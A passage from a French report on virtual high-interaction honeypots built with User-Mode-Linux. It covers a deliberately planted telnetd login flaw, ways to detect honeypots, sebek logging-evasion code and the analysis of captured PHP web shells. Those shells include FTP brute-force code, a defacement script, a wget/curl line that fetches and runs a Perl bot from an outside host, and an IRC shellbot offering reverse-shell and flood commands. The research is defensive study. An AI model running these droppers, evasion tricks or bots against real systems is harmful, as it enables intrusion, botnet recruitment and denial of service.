plusieurs serveurs sur une seule machine. Au niveau des honeypots, la virtualisation est une révolution puisqu’elle permet de faciliter l’administration et le contrôle d’un réseau de machines leurrées de part la centralisation des données sur une unique machine. De plus, comme chaque machine virtuelle est encapsulée dans un fichier, il est très facile de restaurer une machine virtuelle saine après une attaque réussie et garder le fichier image du système compromis pour en faire une analyse ultérieure sur une machine disposant d’outils nécessaires. Présentation d’UML UserModeLinux est présent en natif comme une nouvelle architecture (um) depuis la version 2.6.9 du kernel Linux. Nous ne devons ainsi plus patcher notre noyau pour qu’il 10 User-Mode-Linux 18 Honeypots virtuels à forte interaction 3 MISE EN PLACE DES HONEYPOTS nous génére un binaire, exécutable depuis l’espace utilisateur. UserModeLinux dispose également de quelques fonctionnalités intéressantes qui nécessitent la recompilation et la modification du noyau de l’hôte. Parmi les fonctionnalités, on retrouve principalement le mode SKAS11 qui permet d’augmenter les performances et la sécurité des machines virtuelles en séparant les espaces utilisateur et noyau de l’uml car par défaut l’uml qui dans l’espace utilisateur fonctionne avec un seul espace d’adresse commun ce qui permet à un processus de l’uml d’écrire dans l’espace mémoire du noyau uml. La compilation d’un kernel UML se fait en trois étapes. 1. On configure notre noyau UML avec la commande make menuconfig ARCH=um 2. On compile notre noyau UML avec la commande make ARCH=um 3. On retire la table des symbôles du binaire produit avec la commande strip linux Même si la dernière étape n’est pas primordiale, ces trois étapes nous permettent d’avoir un binaire linux que nous pouvons lancer à la main avec n’importe quel utilisateur qui en a les droits. UML et les honeypots L’idée d’utiliser UML pour créer un honeynet virtuel vient de l’université de Dartmouth qui a effectué des recherches dans ce domaine et qui a publié plusieurs extensions ajoutant à UML les fonctionnalités nécessaires pour gérer les honeypots. – TTY logging Cette fonctionnalité permet de récupérer au niveau de la machine hôte tout ce qui se passe au sein d’une machine virtuelle de manière indétectable. On peut ainsi récupérer les commandes exécutées lors d’une session ssh sur une machine virtuelle. Cette fonctionnalité est l’alternative à l’utilisation de sebek qui est facilement détectable et contournable. – Hppfs12 Hppfs permet de modifier le procfs afin de masquer la présence d’une machine virtuelle. En effet, il est facile grâce au système de fichier virtuel /proc de s’apercevoir qu’il est dans une machine virtuelle. – Skas13 L’université de Dartmouth est également à l’origine du mode SKAS décrit précedement et présent maintenant en natif dans UML. 11 Separate Kernel Address Space HoneyPot ProcFS 13 Separate Kernel Address Space 12 19 Honeypots virtuels à forte interaction 3 MISE EN PLACE DES HONEYPOTS Configuration du réseau Nous avons donc créé un honeynet de deuxième génération virtuel en utilisant la technologie UML. La figure 12 montre l’architecture du réseau virtuel utilisé. La machine hôte qui tourne sous Debian Etch joue le rôle d’honeywall et les machines virtuelles qui tournent sous Mandrake 8 et Slackware 8.1 font office d’honeypots. L’utilisation d’ancienne distribution augmente les chances de compromission. F IG . 12: GenII honeynet virtualisé avec UML Au niveau de la machine hôte, nous controlons les données avec iptables couplé à un snort_inline. Les règles de filtrage sont essentiellement basées sur le dénombrement et l’enregistrement des connexions. Nous capturons les paquets en provenance ou provenant des honeypots avec tcpdump. Au niveau des machines virtuelles, nous utilisons un ancien noyau de la branche 2.4 compilé avec l’option CONFIG_TTY_LOG afin de récupérer sur la machine hôte tout ce qui se passe à l’intérieur des machines virtuelles. Les brèches mises en place Même si c’est une solution possible, ne pas mettre en évidence de brèches sur les deux honeypots risque de donner très peu de résultats sur le temps qui nous est imparti pour le projet. Nous allons donc rendre volontairement nos deux machines virtuelles vulnérables pour faciliter le travail des pirates. Pour cela il serait intéressant de connaître les ports couramment ciblés sur clem1.be. Comme le routeur tourne sous OpenBSD, nous pouvons ajouter une règle au firewall pf comme la suivante qui va permettre de logger tout ce qui a été refusé en entrée. block in log on $ext_if all Nous pouvons ensuite écrire un script en python qui va lire les fichiers logs au format pcap et sortir des graphiques sur les ports les plus ciblés. La figure 13 montre que les 20 Honeypots virtuels à forte interaction 3 MISE EN PLACE DES HONEYPOTS ports 135 et 445 en TCP, qui correspondent aux services (SMB et Netbios) du système d’exploitation windows, sont, de très loin, les deux ports plus attaqués. En effet, la majeur partie des vulnérabilités exploitables à distance sont spécifiques à ces deux ports et ainsi la majeur partie des vers qui circulent sur la toile s’attaquent à ces deux ports. Comme l’un des rôles du logiciel nepenthes est d’émuler les services qui tournent sur ces deux ports, il est plus judicieux de choisir de mettre en place d’autres services sur nos deux honeypots à forte interaction même si ils seront moins attaqués. F IG . 13: Attaques sur les ports TCP Le graphique 14 fait un zoom sur la partie ’Autres’ de la figure 13. On peut remarquer que les ports 22 et 23, que nous connaissons bien, arrivent en tête du classement. Ils correspondent respectivement aux protocoles SSH et Telnet qui se ressemblent dans le sens où ils permettent d’offrir un interpréteur de commandes à distance. Il serait donc intéressant d’offrir ces deux services sur nos deux machines virtuelles. De plus, une faille agée d’une dizaine d’année a refait surface ces derniers mois puisqu’elle a été retrouvée dans le programme login de Sun Solaris 10. La faille permet d’obtenir un interpréteur de commande sans authentification en spécifiant l’argument -l "-fuser" à telnet, le démon telnetd de Solaris faisant appel au programme login. Nous pouvons ainsi modifier le démon in.telnetd de Slackware 8.1 pour lui ajouter volontairement cette vulnérabilité. Le patch est disponible sur dc.clem1.be. Notre choix va donc se porter sur la mise en place d’un ancien serveur OpenSSH (SSH-1.99-OpenSSH_3.1p1), connu pour contenir des failles de sécurité non publiées14 , avec des comptes ayant des mots de passe faible. Nous installerons ce serveur sur la machine virtuelle tournant sous Mandrake. Sur la Slackware, nous allons donc mettre le démon in.telnetd modifié. Nous avons donc un honeynet qui ressemble au schéma 15. 14 patchées dans les nouvelles versions mais pas exploitées publiquement 21 Honeypots virtuels à forte interaction 3 MISE EN PLACE DES HONEYPOTS F IG . 14: Attaques sur les autres ports TCP F IG . 15: Honeynet virtuel mis en place 22 4 4 CONTOURNEMENT DES HONEYPOTS Contournement des honeypots Contrairement à un IDS15 qui est un système passif, un honeypot est réactif et répond aux requêtes du pirate. De plus la réactivité, dans le cas des honeypots à forte interaction, est totale puisque le pirate a la main mise sur un véritable système géré de façon, supposé, inaperçue de l’extérieur par un bonhomme qui fait de la sécurité. Malheureusement, comme tout système informatique, il possède des faiblesses que cette section va tenter d’illustrer. Détecter un honeypot Pour qu’il soit le plus atratif possible, un honeypot doit être indétectable par un pirate. En effet, la mise en place de pots de miel s’est répandu dans les entreprises et les pirates ont mis en place des techniques permettant de détecter leur présence. Cette sous-section décrit plusieurs méthodes qui auraient pu être mise en place par un pirate pour s’apercevoir qu’il est dans un réseau leurré. Les honeypots à faible et moyenne intéraction Commençons avec les pots de miel à faible et moyenne intéraction qui sont faciles à détecter pour un humain, le camouflage n’étant pas une priorité dans le sens où ces honeypots sont destinés à piéger les programmes automatisés tels que les vers ou les massrooter plutôt que les pirates. – Honeytrap Un scan de port sur une machine indiquant l’ouverture de tous les ports laisse présager la présence d’honeytrap. Une connexion sur le port TCP 80 avec une requête bidon permet de s’en assurer : pouik$ nc 192.168.0.20 80 CACAPROUT HTTP/1.1 200 OK Connection: close Date: Sun, 27 Nov 2005 13:07:34 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Accept-Ranges: bytes Quelque soit la requête HTTP, même invalide, honeytrap renvoi toujours la même page avec la même date et les mêmes numéros de versions. – Nepenthes La détection de nepenthes peut se faire en essayant d’exploiter deux failles touchant deux versions de windows différentes, si les deux réussissent alors il est fort probable qu’un nepenthes se cache derrière la machine. 15 Intrusion Detection System 23 Détecter un honeypot 4 CONTOURNEMENT DES HONEYPOTS – Kojoney La détection de Kojoney peut se faire en jouant avec des caractères spéciaux tels que le ˆC ou le ˆD qui dans le read() de python n’ont pas la même attitude que dans le read() du vrai serveur ssh. En plus de ces diverses anomalies dans l’interpréteur, on peut également visualiser la clef publique envoyée par le serveur ssh pour détecter un kojoney sachant qu’il utilise toujours la même clef. pouik$ grep publicKey kojoney.py publicKey = ’ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAGEArzJx8OYOnJmzf...’ Détecter UML Maintenant que nous avons expliqué plusieurs techniques pour identifier les honeypots à faible et moyenne intéraction attaquons nous à notre UML que nous avons placer dans les honeypots à forte intéraction. UML n’est à la base pas destiné à la mise en place d’honeypots, il est donc assez trivial pour un pirate de déterminer s’il intéragi avec système d’exploitation virtuel géré par UML. – /proc En parcourant le système de fichier virtuel procfs, on peut trouver plusieurs indications qui annonce la présence d’UML. bash-2.05$ cat /proc/cmdline ubd0=mandrake ubd1=swap mem=64m eth0=tuntap,tap0 cmdline contient la ligne de commande tapée pour lancer le système invité, mandrake ici. – Les partitions Dans UML, les noms des partitions ainsi que des périphériques dans /dev sont nonhabituels, les hda ou sda ont été remplacés par ubd. Un attaquant peut donc lister les devices dans /dev ou les partitions pour détecter la présence d’UML. bash-2.05# mount /dev/ubd/0 on / type ext2 (rw) – dmesg Le listing des messages générés au boot par une machine virtuelle UML ne sont pas les mêmes que ceux d’une machine normale. Un pirate peut simplement utiliser la commande dmesg pour vérifier la présence ou non d’UML. bash-2.05$ dmesg | grep ubd0 Kernel command line: ubd0=mandrake ubd1=swap mem=64m eth0=tuntap,tap0 24 Une faille dans un honeypot ? 4 CONTOURNEMENT DES HONEYPOTS Une faille dans un honeypot ? Aucun système informatique n’est à l’abris de bugs qui peuvent se transformer en faille de sécurité, les honeypots n’échappent pas à la règle et cette partie décrit quelques vulnérabilités/bugs trouvés dans UML ainsi que dans sebek durant le projet. Déférencement de pointeur NULL dans copy_chunk_to_user() Lors de la recherche de différentes techniques permettant de détecter la présence d’user-mode-linux, une vulnérabilité permettant de planter une machine virtuelle a été trouvée dans la gestion de la device /dev/kmem et la fonction copy_chunk_to_user(). En effet, un déférencement de pointeur se produit lorsque nous tentons une lecture par bloc de certaines données présentes en mémoire par l’intermédiaire de la device /dev/kmem. Celle-ci représente la mémoire virtuelle du noyau accessible en lecture et en écriture par le root. Ce déférencement produit un plantage du noyau UML et par la même occasion de la machine virtuelle. Ainsi un pirate ayant découvert le piège peut décider de faire tomber la machine virtuelle ainsi que, dans certains cas, et corrompre les traces qu’elle a sauvegardé (système de fichiers corrompu après le crash). root@slurp:~# strings /dev/kmem Kernel panic: Kernel mode fault at addr 0x0, ip 0x400dd824 <6>SysRq : Show Regs Erreur de segmentation (core dumped) Le simple lancement de la commande strings sur le périphérique /dev/kmem provoque ce crash et la machine virtuelle s’arrête lamentablement. Analysons le coredump généré. uml@plouf:/virtual$ gdb -c core kernel32-2.4.32-bs3 Program terminated with signal 11, Segmentation fault. (gdb) bt #11 0xa00bf342 in sig_handler (sig=-1535107072, sc= {gs = 0, __gsh = 0, fs = 0, __fsh = 0, es = 123, __esh = 49168, ds = 123, __dsh = 0, edi = 2713882624, esi = 0, ebp = 2714188264, esp = 2714188256, ebx = 1073827840, edx = 2714188660, ecx = 256, eax = 1024, trapno = 14, err = 4, eip = 2685165997, cs = 115, __csh = 0, eflags = 66054, esp_at_signal = 2714188256, ss = 123, __ssh = 0, fpstate = 0x0, oldmask = 0, cr2 = 0}) at trap_user.c:108 (gdb) x/i 2685165997 0xa00c61ad <copy_chunk_to_user+29>: rep movsl %ds:(%esi),%es:(%edi) Si on regarde le registre d’instruction juste avant le crash, on peut remarquer qu’il pointe au milieu de la fonction copy_chunk_to_user() sur une instruction qui copie ecx fois le contenu pointé par l’adresse dans esi vers l’adresse pointée par edi. Cependant si on regarde l’adresse qui se trouve dans le premier registre, on peut remarquer qu’elle est égale à NULL (0) alors qu’il reste encore 256 octets à copier (ecx). Lorsque le processeur tente d’accéder à cette adresse nulle non mappée, il tombe sur un pagefault qui le fait paniquer. Le problème ne concerne que les noyaux de la branche 2.4 et les raisons pour lesquelles le registre esi se retrouve à NULL sont encore obscures. La vulnérabilité a été néanmoins reportée au créateur de UML, Jeff Dike. 25 Une faille dans un honeypot ? 4 CONTOURNEMENT DES HONEYPOTS Détournement de sebek 2, premier round Sebek se cache dans le noyau pour capturer les activités d’un cracker. Techniquement pour faire cela sous Linux, il remplace l’appel système sys_read(), utilisé par les interpréteurs de commandes, par le sien qui s’occupe de l’envoi des saisis clavier du pirate. Cette méthode pose un problème au niveau de la détection de sebek puisqu’il suffit au pirate de récupérer l’adresse de l’appel système sys_read() dans la sys_call_table et la comparer avec les autres et pose aussi un gros problème au niveau de son efficacité du fait que les développeurs ont oublié qu’il existait les appels systèmes sys_readv() et sys_pread() qui peuvent être utilisés comme sys_read(). Ainsi un pirate peut créer une simple librairie qui intercepte l’appel à read() et le remplace par un appel à readv(). Les quelques lignes de codes suivantes montrent le principe de l’attaque. 2 4 6 8 s s i z e _ t r e a d ( i n t fd , v o i d ∗ buf , s i z e _ t n b y t e s ) { s s i z e _ t (∗ fn ) ( i n t , s t r u c t iovec ∗ , s i z e _ t ) ; handle = dlopen ( " / l i b / l i b c . so . 6 " , 1 ) ; f n = dlsym ( h a n d l e , " r e a d v " ) ; (...) / ∗ r e m p l i s s a g e d ’ un i o v a v e c b u f e t n b y t e s ∗ / r e t u r n ( f n ( fd , &i o v , 1 ) ) ; } On modifie la variable d’environnement LD_PRELOAD pour qu’elle pointe sur notre librairie et on relance un nouveau shell qui va utiliser readv() à la place de read(), aucune commande ne sera enregistrée par sebek. Ce problème ne touche que la version module de sebek 2 pour Linux. Détournement de sebek 2, deuxième round Un autre problème se trouve dans la fonction nrd() qui remplace l’appel système sys_read() où on peut voir le code suivant. 1 3 5 int r ; (...) r = o r d ( fd , buf , c o u n t ) ; / / a p p e l au v r a i s y s _ r e a d . i f ( r < 1 | | (BLOCK[ KSO_OFFSET ] && r > 1 ) ) r e t u r n r ; (...) La fonction ord(), qui pointe sur le vrai sys_read(), renvoi un nombre entier non signé qui représente le nombre de caractères lu. Ce nombre est stocké dans une variable de type signé. Ainsi si la fonction ord() retourne un nombre supérieur à 0x7fffffff, la variable contiendra un nombre négatif et le test if (r < 1) sera valide et la fonction retournera pensant qu’il y a eu une erreur sans rien logger. Ainsi il suffit pour un pirate d’envoyer pour chaque commande des ’ ;’ de bourrage pour arriver à une taille de commande supérieure à 2147483647, la valeur positive maximale d’un int sur une architecture 32bits. Encore une fois, seule la version module de sebek 2 pour Linux est visée par cette vulnérabilité mais l’origine des failles laissent penser que d’autres moyens d’évasion doivent exister pour les nouvelles versions de sebek et pour les autres systèmes d’exploitation (BSD). 26 5 5 RÉSULTATS Résultats Attaques des applications web Dès que google a commencé à référencer les fausses pages renvoyées par webtrap, le nombre d’attaques a considérablement augmenté pour arriver à une moyenne de 10 par jours. La plupart d’entre-elles exploitent des failles de type include pour exécuter sur le serveur un script placé à l’extérieur sur une machine pirate. Ainsi la mise en place de webtrap a permis la récupération d’environ 700 scripts différents qui sont destinés à des machines UNIX. Les pirates ont émis la supposition que les machines hébergeant les applications web dynamiques tournent sous des systèmes unix tels que GNU/Linux ou FreeBSD. Cette section résume les fonctions intéressantes que proposent ces scripts. Interpréteur de commandes La possibilité de lancer des commandes unix à partir du script est la fonctionnalité de base que l’on retrouve dans tous les scripts. F IG . 16: Defacing Tool 2.5 by r3v3ng4ns La figure 16 est une capture du script le plus utilisé par les pirates qui offrent la possibilité de lancer des commandes à travers différentes fonctions PHP telles que popen(), shell_exec() ou system() que nous retrouvons dans les sources présentées ci-dessous. 1 3 5 7 9 f u n c t i o n s h e l l ( $what ) { e c h o ( s h e l l _ e x e c ( $what ) ) ; } f u n c t i o n popenn ( $what ) { $ h a n d l e = popen ( " $what " , " r " ) ; $ o u t = @fread ( $ h a n d l e , 2 0 9 6 ) ; echo $out ; @pclose ( $ h a n d l e ) ; } f u n c t i o n e x e c c ( $what ) { e x e c ( " $what " , $ a r r a y _ o u t ) ; $out=implode ( " \ n" , $ a r r a y _ o u t ) ; 27 Attaques des applications web 15 17 RÉSULTATS echo $out ; 11 13 5 } (...) <option <option <option <option <option value ="1">use value ="2">use value ="3">use value ="4">use value ="5">use passthru () system ( ) exec ( ) popen ( ) shell_exec () Éxecution de code php En plus de l’exécution de commandes UNIX, certains scripts proposent l’exécution de commandes PHP. Le pirate rentre dans une textbox les instructions php et le script se chargera de l’exécution et de la retransmission du résultat. La figure 17 montre l’exécution d’un simple echo() dans une boucle for. F IG . 17: Hello world dans C99Shell Explorateur de fichiers Même si c’est possible pour un pirate expérimenté de le faire à l’aide de quelques commandes, les scripts intègrent souvent un explorateur qui permet se promener à coup de souris dans toutes l’arborescence du serveur avec des fonctions évoluées telles que la suppression, la création, l’édition ou encore la recherche de fichiers ou de répertoires. La figure 18 affiche l’explorateur de fichiers fourni avec le script C99Shell. On peut voir ici l’affichage du contenu de la racine de mon serveur web. Upload de fichier En relation étroite avec l’explorateur de fichiers, les scripts permettent également d’envoyer des fichiers sur le serveur web comme on peut le voir sur la capture 19. Tuer le gestionnaire de logs PHP Les scripts appellent toujours, en premier lieu, la fonction PHP closelog() pour empécher apache d’enregistrer les évenements malveillants qu’ils pourraient réaliser. Les 28 Attaques des applications web 5 RÉSULTATS F IG . 18: L’explorateur de C99Shell F IG . 19: L’uploadeur de C99Shell scripts peuvent également abuser de la fonction syslog() pour inonder les fichiers de logs avec des informations usurpées afin de perturber l’analyse des logs mais nous n’avons pas vu cette technique utilisée. Ils testent juste l’existence de la fonction pour en avertir le pirate qui peut ensuite l’utiliser pour inonder les logs. $ grep closelog * | wc -l 38 $ grep syslog * | wc -l 19 Brute forcer FTP Certains scripts comme C99Shell peuvent lancer une attaque par force brute contre le serveur FTP local de la machine compromise. Le code php suivant montre comment cette attaque est réalisée dans C99Shell. 2 4 6 8 10 12 14 f u n c t i o n c 9 9 f t p b r u t e c h e c k ( $host , $port , $timeout , $login , $ p a s s , $sh , $ f q b _ o n l y w i t h s h ) { $sock = @ftp_connect ( $host , $port , $timeout ) ; i f ( @ f t p _ l o g i n ( $sock , $ l o g i n , $ p a s s ) ) { r e t u r n TRUE ; } } $ f p = f o p e n ( " / e t c / passwd " , " r " ) ; (...) while ( ! f e o f ( $fp ) ) { $ s t r = e x p l o d e ( " : " , f g e t s ( $fp , 2 0 4 8 ) ) ; i f ( c99ftpbrutecheck ( " l o c a l h o s t " ,21 ,1 , $ s t r [0] , $ s t r [0] , 29 Attaques des applications web 5 RÉSULTATS $ s t r [6] , $fqb_onlywithsh )) 16 { e c h o " <b> C o n n e c t e d t o " . g e t e n v ( "SERVER_NAME" ) . " w i t h l o g i n \ " " ; e c h o $ s t r [ 0 ] . " \ " and p a s s w o r d \ " " . $ s t r [ 0 ] . " \ " < / b>< br > " ; $ s u c c e s s ++; 18 20 } 22 } La fonction c99ftpbrutecheck(), sert à vérifier la connexion au serveur FTP dont l’adresse et les identifiant ont été passé en paramètre. Le script commence par ouvrir le fichier /etc/passwd (ligne 10) puis parcourt ce dernier pour récupérer, ligne 14, dans $str[0] le login, pour terminer par un appel, ligne 15, à c99ftpbrutecheck() pour tester le serveur FTP local (localhost) avec comme identifiant le login récupéré juste avant. Si la fonction retourne vrai alors les paramètres passés à celle-ci sont affichés. Le "brute-forcer FTP" intégré dans ce script ne fait que tester la présence de comptes UNIX avec des mots de passe identiques au login et accessibles depuis le serveur FTP. Gestion des sockets Une fonctionnalité que l’on retrouve dans la plupart des scripts est la gestion avancée des sockets. En effet, beaucoup permettent de réaliser des connexions à distance, le pirate spécifie le protocole, le port et l’adresse puis le script se gère de la connexion et peut envoyer des données, renseignées par le pirate, à la machine distante comme le ferait l’outil netcat. F IG . 20: Joujou avec les sockets C99Shell Comme on peut le voir sur la capture 20, le script C99Shell propose les outils suivants : – bindshell demande à C99Shell de placer en écoute un shell, protégé par un mot de passe, sur un port donné par le pirate. – connectback demande à C99Shell de se connecter sur un port d’une adresse en se basant sur un shell écrit en perl pour répondre aux données envoyées par la machine distante. – irc demande à C99Shell de réaliser un proxy IRC. Le pirate spécifie le serveur IRC puis le port local à écouter. Ensuite pour se connecter au serveur IRC, l’attaquant se 30 Attaques des applications web 5 RÉSULTATS connecte sur le serveur piraté sur le port en question. Il aura ainsi sur IRC l’adresse IP du serveur piraté et non la sienne. Envoi de mail Parmi les pirates, on retrouve bien sûr les spammeurs et des fonctions d’envoi massif de courriers sont présentes dans les scripts les plus évolués. $ grep mail\( * | wc -l 192 Le script r57shell.php permet cela, le pirate rentre les adresses de l’émetteur, du ou des destinataires, le corps et le sujet du messages puis la fonction mail() qui utilise le serveur SMTP local de la machine va se charger de la retransmission. F IG . 21: Envoi de mail avec r57shell.php Remplacement de l’index Quelqu’uns des scripts récoltés n’ont qu’une fonctionnalité, celle d’effacer la page index par une page indiquant la signature du pirate. Cela permet au pirate d’avoir son nom sur les sites de sécurité. C’est ce que fait le script paruk.php dont un morceau de code est présenté ci-dessous : 2 4 $ f p = f o p e n ( " i n d e x . h t m l " , "w" ) ; f w r i t e ( $fp , " < c e n t e r ><h1 >Hacked by # M a l a n g H a c k e r L i n k Team < / h1 > " ) ; f w r i t e ( $fp , " <h3 > G r e e t t o # M a l a n g H a c k e r L i n k @ DALnet < / h3 > " ) ; f c l o s e ( $fp ) ; Le script ouvre en écriture la page index.html du répertoire courant qui n’est pas forcement la racine du site web pour y inscrire la signature du groupe sans aucun message particulier. Selon zone-h, figure 22, le groupe de pirate #MalangHackerLink n’a réalisé qu’une soixantaine de défacements de sites web. Installation d’un botnet Environ 70% des scripts avaient comme unique rôle de télécharger et d’exécuter un programme permettant de se connecter sur un réseau pirate communément appelé botnet. 31 Les botnets, une arme en pleine expansion 5 RÉSULTATS F IG . 22: La vitrine du groupe #MalangHackerLink 2 4 6 8 <? p a s s t h r u ( ’ cd / tmp ; wget h t t p : / / www. t a m b e n l i k . n e t / v61 . t x t ; p e r l v61 . t x t ; rm −f v61 ∗ ’ ) ; p a s s t h r u ( ’ cd / tmp ; c u r l −O h t t p : / / www. t a m b e n l i k . n e t / v61 . t x t ; p e r l v61 . t x t ; rm −f v61 ∗ ’ ) ; p a s s t h r u ( ’ cd / tmp ; lwp−download h t t p : / / www. t a m b e n l i k . n e t / v61 . t x t ; p e r l v61 . t x t ; rm −f v61 ∗ ’ ) ; ?> Le script suivant récupère de plusieurs manières, au cas l’une d’entre elles ne fonctionneraient pas, le programme v61.txt puis l’interprête à l’aide de la commande perl avant de le supprimer. Nous verrons plus en détail ce que se cachent derrière v61.txt dans la partie suivante. Les botnets, une arme en pleine expansion Par définition, un botnet est un réseau composé d’un grand nombre de machines zombies, c’est-à-dire appartenant probablement à des particuliers, compromises et utilisées pour lancer des actions malveillantes. Ces réseaux peuvent être composés de plus de 1000 machines, qui, peuvent, si elles sont utilisées en même temps et dans le même but, effectuer des attaques par déni de service de très grande ampleur. Généralement les machines compromises fonctionnent sous Microsoft Windows mais depuis quelques temps, nous commençons à voir de plus en plus de serveur compromis par ce genre de programme et c’est dans ce domaine qu’a été mené l’étude. Les serveurs sont, dans la grand majorité, dotés d’une bande passante élevé et équipés avec du matériel haut de gamme, soit les élements parfait pour accomplir un botnet surpuissant de quelques machines. Comme nous l’avons vu précédement, pour attaquer les serveurs pour y placer un programme se connectant à un botnet, les pirates exploitent des failles PHP. De cette manière, webtrap a permis de détecter environ une dizaine de botnets, plus ou moins grands. La première partie de cette section décrit le fonctionnement d’un programme zombie tandis que la deuxième explique ce que les pirates font avec ces armées de machines. SHELLBOT Lorsque l’on regarde de plus près les programmes zombies dont certains pirates ont tenté d’exécuter sur notre web honeypot, on s’aperçoit qu’ils sont tous écrits en perl et 32 Les botnets, une arme en pleine expansion 5 RÉSULTATS qu’ils ont tous la même base... qui a recopié sur l’autres ? Prenons donc l’un de ces programme et tentons d’analyser son comportement. 2 4 6 8 10 my @canais = ( " # vx8 " ) ; my @adms= ( " A l e e x " , " x e Q t e r " ) ; $servidor= ’ irc . efnet . net ’ unless $servidor ; my @fakeps = ( " / u s r / l o c a l / a p a c h e / b i n / h t t p d −DSSL" , (...) " [ httpd ] " ); my @nickname = ( " Tys0n " , " berran " , " stuing " , (...) " Scamurl " ) ; Le script commence par la déclaration de quelques variables globales, ce ne sont qu’elles qui diffèrent entre les différents scripts récoltés. On retrouve : servidor : l’adresse du serveur irc, irc.efnet.net canais : le ou les canaux IRC, #vx8 adms : le ou les nickname IRC des administrateurs du botnet, Aleex et xeQter fakeps : liste de noms processus que le script utilisera pour se fondre dans la masse lors d’un ps aux – nickname : liste de noms que pourra prendre le robot – – – – 1 my $ p r o c e s s o = $ f a k e p s [ r a n d s c a l a r @fakeps ] ; $0= " $ p r o c e s s o " . " \ 0 " ; Le script utilise ensuite une technique (écrasement de $0) pour masquer son nom réel et le remplacer par celui pris aléatoirement dans le tableau @fakeps. 2 4 6 8 sub c o n e c t a r { (...) my $ I R C _ s o c k e t = IO : : S o c k e t : : INET−>new ( P r o t o => " t c p " , P e e r A d d r => " $ s e r v i d o r _ c o n " , P e e r P o r t => $ p o r t a _ c o n ) o r r e t u r n ( 1 ) ; (...) n i c k ( " $meunick " ) ; s e n d r a w ( "USER $ i r c n a m e " . $ I R C _ s o c k e t −>s o c k h o s t . " $ s e r v i d o r _ c o n : $ r e a l n a m e " ) ; } La fonction conectar() permet de se connecter à un serveur IRC, elle est appelée au début du script. 1 3 5 7 9 11 while ( 1 ) { (...) $ n r e a d = s y s r e a d ( $fh , $msg , 4 0 9 6 ) ; (...) @ l i n e s = s p l i t ( / \ n / , $msg ) ; (...) f o r ( my $c = 0 ; $c <= $# l i n e s ; $c ++) { parse ( " $line " ) ; (...) } } Le script rentre ensuite dans une boucle infinie, récupère ce qui est envoyé par le serveur IRC dans @lines pour le découper en lignes qu’il envoie à la fonction parse(), fonction mère du script. Voici ci-dessous le code commenté de la fonction parse(). 1 sub p a r s e ( ) { 33 Les botnets, une arme en pleine expansion RÉSULTATS my $ s e r v a r g = s h i f t ; # # S i PING du s e r v e u r r é p o n s e p a r un PONG # i f ( $ s e r v a r g =~ / ^ PING \ : ( . ∗ ) / ) { s e n d r a w ( "PONG : $1 " ) ; } # # P e t i t e r e g e x p o u r r é c u p é r e r l e n i c k n a m e de l ’ é m e t t e u r a i n s i # que s o n m e s s a g e # e l s i f ( $ s e r v a r g =~ / ^ \ : ( . + ? ) \ ! ( . + ? ) \@( . + ? ) PRIVMSG ( . + ? ) \ : ( . + ) / ) { my $pn=$1 ; my $onde = $4 ; my $ a r g s = $5 ; # # S i q u e l q u e demande l a VERSION on s e f a i t p a s s e r p o u r mIRC # i f ( $ a r g s =~ / ^ \ 0 0 1 VERSION \ 0 0 1 $ / ) { n o t i c e ( " $pn " , " \ 0 0 1 VERSION mIRC v6 . 1 6 K h a l e d Mardam−Bey \ 0 0 1 " ) ; } # # S i l e nom de l ’ é m e t t e u r e s t c o m p r i s d a n s l e s a d m i n s du b o t n e t # e l s i f ( g r e p { $_ =~ / ^ \ Q$pn \ E$ / i } @adms ) { # # s i l e m e s s a g e commence p a r l e nom du r o b o t a l o r s # on e x é c u t e c e q u i s u i t l e nom comme une commande # shell . # i f ( $onde eq " $meunick " ) { s h e l l ( " $pn " , " $ a r g s " ) ; } # # s i ç a commence p a r un ! a l o r s c ’ e s t une commande IRC # a p p e l l e de l a f o n c t i o n i r c a s e . # i f ( $ a r g =~ / ^ \ ! ( . ∗ ) / ) { i r c a s e ( " $pn " , " $onde " , " $1 " ) ; # # s i ç a commence p a r un @ a l o r s c ’ e s t une a c t i o n s p é c i f i q u e # a p p e l l e de l a f o n c t i o n b f u n c # } e l s i f ( $ a r g =~ / ^ \@( . ∗ ) / ) { $ondep = $onde ; $ondep = $pn i f $onde eq $meunick ; b f u n c ( " $ondep " , " $1 " ) ; } else { # # s i on ne s a i t p a s t r o p c e que c ’ e s t # on a p p e l l e l a f o n c t i o n s h e l l . s h e l l ( " $onde " , " $ a r g " ) ; } 3 5 7 9 11 13 15 17 19 21 23 25 27 29 31 33 35 37 39 41 43 45 47 49 51 53 5 } Le code de la fonction parse(), comme son nom l’indique, sert uniquement à parser ce qui a été envoyé par le serveur IRC. Si c’est une action alors on exécute bfunc(), si c’est une commande IRC alors on exécute ircase() sinon on exécute shell(). Le code intéressant se trouve donc dans la fonction bfunc()... 1 3 5 7 9 11 i f ( $2 =~ / ^ e v a l \ s + ( . + ) / ) { e v a l " $1 " ; r e t u r n ; } i f ( $2 =~ / ^ r s h \ s + ( . + ) \ s + ( \ d + ) / ) { r s h ( $To , $1 , $2 ) ; e x i t ; } i f ( $2 =~ / ^ g o o g l e \ s + ( \ d + ) \ s + ( . + ) / ) { s p r e a d : : s t a r t ( $To , $1 , $2 ) ; exit ; } i f ( $2 =~ / ^ t c p f l o o d \ s + ( . + ) \ s + ( \ d + ) \ s + ( \ d + ) / ) { f l o o d : : t c p ( $To , $1 , $2 , $3 ) ; exit ; } i f ( $2 =~ / ^ u d p f l o o d \ s + ( . + ) \ s + ( \ d + ) \ s + ( \ d + ) / ) { 34 Les botnets, une arme en pleine expansion 13 15 17 19 21 23 5 RÉSULTATS f l o o d : : udp ( $To , $1 , $2 , $3 ) ; exit ; } i f ( $2 =~ / ^ h t t p f l o o d \ s + ( . + ) \ s + ( \ d + ) / ) { f l o o d : : h t t p ( $To , $1 , $2 ) ; exit ; } i f ( $2 =~ / ^ j o i n ( . ∗ ) / ) { j ( " $1 " ) ; } i f ( $2 =~ / ^ p a r t ( . ∗ ) / ) { p ( " $1 " ) ; } Cette fonction ne fait qu’analyser la commande du pirate pour déterminer à coup de if() l’action à réaliser et exécuter la fonction adéquate. Parmi les actions nous retouvons : – !eval permet d’exécuter la chaîne donnée par le pirate comme du code perl – !rsh permet d’exécuter un reverse shell, c’est le bot initialise la connexion – !google permet de lancer la fonction de propagation du robot – !tcpflood permet d’effectuer une inondation TCP sur une machine et un port particulier – !udpflood comme le précédent mais pour le protocole UDP – !httpflood se connecte à un serveur web pour l’inonder de requête semi valide On peut remarquer que les actions n’ont rien à voir avec celles que l’on peut retrouver dans les gigantesques robots ciblant 